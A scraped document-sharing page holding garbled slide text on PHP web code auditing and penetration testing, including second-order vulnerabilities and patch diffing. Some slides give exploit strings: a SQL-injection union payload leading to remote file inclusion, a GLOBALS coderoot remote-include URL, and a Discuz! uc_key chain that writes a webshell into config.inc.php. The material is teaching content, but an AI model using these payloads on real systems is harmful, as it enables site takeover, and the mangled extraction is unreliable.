WEB代碼審計與滲透測試-文檔資料_第1頁
WEB代碼審計與滲透測試-文檔資料_第2頁
WEB代碼審計與滲透測試-文檔資料_第3頁
WEB代碼審計與滲透測試-文檔資料_第4頁
WEB代碼審計與滲透測試-文檔資料_第5頁
已閱讀5頁,還剩34頁未讀, 繼續(xù)免費閱讀

下載本文檔

版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領

文檔簡介

1、1WEB代碼審計與滲透測試http:/ 2WEB應用程序代碼審計l程序的兩大根本:變量與函數(shù)l漏洞現(xiàn)成的條件: A、可以控制的變量 【一切輸入都是有害的 】 B、變量到達有利用價值的函數(shù)危險函數(shù) 【一切進入函數(shù)的變量是有害的】l漏洞的利用效果取決于最終最終函數(shù)的功能 變量進入什么樣的函數(shù)就導致什么要的效果3PHP應用程序代碼審計l為什么只是PHP? A、跨平臺、應用廣泛、復雜 B、變量處理靈活如變量覆蓋、全局變量等 C、函數(shù)庫巨大 導致漏洞類型多,既有通用的又有特有的 E、代碼審計的思路是可以通用的4變量變量l預定義變量常規(guī)外部提交的變量 GPC $_ENV/SERVER/SESSION $H

2、TTP_RAW_POST_DATA等lregister_globals = on 未初始化的變量 PHP 4.20 默認為offl變量覆蓋未初始化及覆蓋前定義的變量 如:extract() 、遍歷初始化變量、遍歷初始化變量、parse_str()等等l變量的傳遞與存儲中轉的變量 存儲于數(shù)據(jù)庫、文件如配置、緩存文件等5危險函數(shù)l文件包含包含漏洞l代碼執(zhí)行執(zhí)行任意代碼漏洞l命令執(zhí)行執(zhí)行任意命令漏洞l文件系統(tǒng)操作文件(目錄)讀寫等漏洞l數(shù)據(jù)庫操作SQL注射漏洞l數(shù)據(jù)顯示 XSS等客服端漏洞l6更多的變量處理與危險函數(shù)高級高級PHP應用程序漏洞審核技術應用程序漏洞審核技術http:/ 變量跟蹤的過程l

3、通過變量找函數(shù)正向跟蹤變量 $id=$_GETid$sid=$id函數(shù)($sid)l通過函數(shù)找變量逆向跟蹤變量 函數(shù)($sid) $sid=$id $id=$_GETid8變量的傳遞與二次漏洞l變量存儲、提取、傳遞是一個復雜的立體的過程l過程中經(jīng)過多個不一樣的函數(shù)的處理后繼續(xù)傳遞,最終達到漏洞函數(shù)l傳遞的過程中任意環(huán)節(jié)可控就可能導致漏洞l中間函數(shù)處理的過程誕生新的變量,新的變量達到新的漏洞函數(shù)誕生新的漏洞二次漏洞9二次漏洞l什么是二次漏洞? 2006年提出的一個概念 主導思想:通過一個現(xiàn)有漏洞,創(chuàng)造新的漏洞使得漏洞利用最大化l一個demo注意:include與require的區(qū)別10二次漏洞l

4、又一個demo一個注射漏洞$sql= select id,filepath,user,name from attachment where fileid=$_GETid”; $result = mysql_db_query($dbname, $sql);$file=mysql_fetch_array($result); 然而:include($filefilepath);一個貌似不可以直接控制的新變量$filefilepath進入了危險函數(shù)include()?id=1 union select 1,http:/ ver遠程包含漏洞12單獨看上面的代碼是沒有辦法提交 實現(xiàn)遠程包含Exp:/adm

5、in/index.php?_SERVERConfigFile=./commonlib/pages/importcsv.php&GLOBALSassign_invalid_default=1&GLOBALScoderoot=http:/xx.xx.xx.xx/實現(xiàn)了一次完美的又本地包含轉為遠程包含的13又一個實例:Discuz!old ver遠程代碼執(zhí)行漏洞 效果圖:【實現(xiàn)“給我一個注射點,我給你一個shell”的目標】注射得到uc_key中.利用uc-key得到webshell代碼執(zhí)行14得到webshell的關鍵在于dz論壇的api借口里:api/uc.php里updatea

6、pps()對配置文件config.inc.php有讀寫操作15繼續(xù)跟下updateapps()的調用:$get的處理:整過只要得到了uc_key就可以通過調用updateapps()對config.inc.php寫操作了!另外updateapps()的2個參數(shù)都沒有魔術引號的處理:$get = _stripslashes($get);$post = xml_unserialize(file_get_contents(php:/input);數(shù)據(jù)流不受魔術引號限制通過$configfile = preg_replace(“/define(UC_API,s*.*?);/i”, “define(UC

7、_API, $UC_API);”, $configfile); 閉合define(UC_API, 來注射我們的webshell代碼16二次漏洞的啟示l漏洞的類型是可以轉換的:最終的目的是攻擊效果最大化!l一切進入函數(shù)的變量是有害的:變量在傳遞過程任意個環(huán)節(jié)可控就可能導致漏洞!l變量傳遞的途徑是多樣的:我們的攻擊思路多元化! 如對于dz,去尋找可以找到uc_key的途徑:sql注射、文件讀取config.inc.php里存有uc_key、控制mysql的管理權限phpmyadmin等等17二次漏洞的其他應用l應用級別的“rootkit”18其他的因素與代碼審計lphp版本與代碼審計變量與函數(shù) p

8、hp.ini默認設置問題 php本身函數(shù)的漏洞php缺少自動升級的機制l系統(tǒng)特性與系統(tǒng)特性與代碼審計 包括OS: 主要是文件操作 web服務器: 主要文件解析類型 系統(tǒng)特性與系統(tǒng)特性與web安全安全 http:/ 甲方的代碼審計: 目的:防御 要求:找到更多的漏洞,并且給出安全補丁建議等。并且對應用程序平臺無特別要求。 乙方的代碼審計: 目的:滲透也就是進攻 要求:找到一個可用的漏洞就可以,但是要求快速、利用效果最大化等。并且要求在滲透測試目標的平臺上可以利用。20滲透測試中的代碼審計代碼審計前的準備 A.得到代碼 a.對于開源的應用程序:得到程序的版本信息,越詳細越好。 *具體應用程序版本掃

9、描 b.對于不開源的應用程序: *通過黑盒掃描得到備用文件 *通過黑盒掃描利用sql注射暴代碼loadfile() *通過黑盒掃描利用容易文件下載漏洞 *上一次滲透測試打包下載的代碼 B.得到平臺信息 php版本及php.ini一些基本設置、OS信息、Web服務信息、數(shù)據(jù)庫應用21滲透測試中的代碼審計快速代碼審計: A.補丁對比技術 B.業(yè)務功能與漏洞 C.相似性漏洞挖掘 D.基于白盒的fuzz E.常用變量與函數(shù) F.高級的代碼審計22A 補丁對比技術l二進制補丁對比技術已經(jīng)非常成熟開始于2004年 ,也誕生了反二進制對比的技術。lPHP應用程序補丁對比技術 *基于源代碼,對比起來更加直觀明

10、了 *目前還沒有對應的反對比機制 *對比工具: 系統(tǒng)命令:fc、diff等 專業(yè)工具:Beyond Compare、UltraCompare等 *常見的安全補丁方式: 變量初始化:$str=;、$arr=array();等 變量過濾: intval/int()、addslashes()、正則等 *對比的版本選擇:選取臨近的版本避免一些非安全補丁的干擾23一個實例24B 業(yè)務功能與漏洞l實現(xiàn)業(yè)務功能的同時引入安全風險。如: 上傳功能上傳漏洞 數(shù)據(jù)存儲與查詢sql注射漏洞 后臺或者api接口安全認證繞過 數(shù)據(jù)庫備用導出webshelll新的功能必定帶來新的安全隱患。l功能越強大說明漏洞幾率越大。l

11、我們在審計代碼的同時應該熟悉應用程序的業(yè)務功能。25C 相似性漏洞挖掘l天下武學同出少林天大代碼一把抄 最經(jīng)典的故事屬于asp:動網(wǎng)的上傳漏洞l每個程序員都有自己的代碼風格習慣 不好的風格習慣,可能代碼致命的安全漏洞,而且習慣很難改變!l相同的功能帶來同樣的漏洞 如后臺的功能和api接口實現(xiàn)相同的功能l尋找相似性漏洞 *通過補丁對比技術 *通過漏洞分析、總結漏洞類型26D 基于白盒的fuzz 當然也用于其他get、post的變量、甚至是環(huán)境變量,比如注射用戶名、發(fā)帖的標題內容設置為一個特征字符2、對于數(shù)據(jù)庫存儲查詢可以讓數(shù)據(jù)庫出錯的字符就行 比如 27D 基于白盒的fuzz 的情況下,在inlculdes的文件里設定的配置變量沒有初始化的問題:那么不是所有的文件都這樣的問題,我們可以先通過白盒找到這些可能出現(xiàn)問題的變量名,然后可以寫個fuzz的腳本,列表程序目錄一個一個提交探測28E.常用變量與函

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
  • 4. 未經(jīng)權益所有人同意不得將文件中的內容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
  • 6. 下載文件中如有侵權或不適當內容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論